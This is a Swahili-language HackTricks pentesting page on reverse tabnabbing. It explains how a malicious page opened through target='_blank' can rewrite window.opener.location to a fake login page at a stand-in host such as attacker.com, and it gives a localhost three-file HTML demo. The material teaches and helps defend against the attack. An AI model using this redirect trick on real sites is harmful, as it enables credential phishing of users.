hacktricks/src/pentesting-web/reverse-tab-nabbing.md

82 lines
4.1 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# Maelezo
Katika hali ambapo **mshambuliaji** anaweza **kudhibiti** hoja ya **`href`** ya **`<a`** tag yenye sifa **`target="_blank" rel="opener"`** ambayo itabonyezwa na mwathirika, **mshambuliaji** anaweza **elekeza** **kiungo** hiki kwenye wavuti chini ya udhibiti wake (tovuti **mbaya**). Kisha, mara tu **mwathirika anapobonyeza** kiungo na kufikia wavuti ya mshambuliaji, tovuti hii **mbaya** itakuwa na uwezo wa **kudhibiti** **ukurasa** wa **asili** kupitia kitu cha javascript **`window.opener`**.\
Ikiwa ukurasa huna **`rel="opener"` lakini ina `target="_blank"` na pia haina `rel="noopener"`** inaweza kuwa na hatari pia.
Njia ya kawaida ya kutumia tabia hii ni **kubadilisha eneo la wavuti ya asili** kupitia `window.opener.location = https://attacker.com/victim.html` kwa wavuti inayodhibitiwa na mshambuliaji ambayo **inafanana na ile ya asili**, ili iweze **kuiga** **fomu ya kuingia** ya wavuti ya asili na kuomba taarifa za kuingia kutoka kwa mtumiaji.
Hata hivyo, kumbuka kwamba sasa **mshambuliaji anaweza kudhibiti kituo cha dirisha cha wavuti ya asili** anaweza kuitumia vibaya kwa njia nyingine ili kutekeleza **shambulio la siri** (labda kubadilisha matukio ya javascript ili kuhamasisha taarifa kwa seva inayodhibitiwa na yeye?)
# Muhtasari
## Pamoja na kiungo cha nyuma
Kiungo kati ya kurasa za mzazi na mtoto wakati sifa ya kuzuia haitumiki:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## Bila kiungo cha nyuma
Kiungo kati ya kurasa za mzazi na mtoto wakati sifa ya kuzuia inatumika:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## Mifano <a href="#examples" id="examples"></a>
Unda kurasa zifuatazo katika folda na endesha seva ya wavuti kwa `python3 -m http.server`\
Kisha, **fikia** `http://127.0.0.1:8000/`vulnerable.html, **bonyeza** kwenye kiungo na uone jinsi **URL** ya **tovuti** ya **asili** **inavyobadilika**.
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
## Mali ya kupatikana <a href="#accessible-properties" id="accessible-properties"></a>
Katika hali ambapo **cross-origin** inatokea (ufikiaji kati ya maeneo tofauti), mali za mfano wa darasa la JavaScript la **window**, zinazorejelewa na kiashiria cha kitu cha JavaScript **opener**, ambazo zinaweza kufikiwa na tovuti mbaya zimepunguzwa kwa yafuatayo:
- **`opener.closed`**: Mali hii inafikiwa ili kubaini kama dirisha limefungwa, ikirudisha thamani ya boolean.
- **`opener.frames`**: Mali hii inatoa ufikiaji kwa vipengele vyote vya iframe ndani ya dirisha la sasa.
- **`opener.length`**: Idadi ya vipengele vya iframe vilivyopo katika dirisha la sasa inarudishwa na mali hii.
- **`opener.opener`**: Kiashiria kwa dirisha lililofungua dirisha la sasa linaweza kupatikana kupitia mali hii.
- **`opener.parent`**: Mali hii inarudisha dirisha la mzazi la dirisha la sasa.
- **`opener.self`**: Ufikiaji wa dirisha la sasa mwenyewe unapatikana kupitia mali hii.
- **`opener.top`**: Mali hii inarudisha dirisha la kivinjari lililo juu kabisa.
Hata hivyo, katika matukio ambapo maeneo ni sawa, tovuti mbaya inapata ufikiaji wa mali zote zilizofichuliwa na [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) kiashiria cha JavaScript.
# Kinga
Taarifa za kinga zimeandikwa katika [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
## Marejeleo
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}